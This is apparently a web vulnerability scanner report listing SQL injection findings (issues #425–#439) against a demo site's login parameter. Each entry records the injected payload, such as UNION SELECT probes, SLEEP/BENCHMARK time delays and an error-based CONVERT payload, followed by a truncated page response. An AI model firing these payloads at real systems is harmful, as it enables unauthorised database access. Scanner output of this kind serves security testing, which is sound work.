AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #425
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #426
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iopg_SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #427
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'
)),4,5,6,7,8,9,10,11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #428
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #429
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 7506=9091 AND ('5913=5913
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #430
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #431
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #432
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #433
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #434
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #435
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND false
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #436
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #437
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '%20and%201=2%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #438
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+
CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (
5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #439
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A'))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
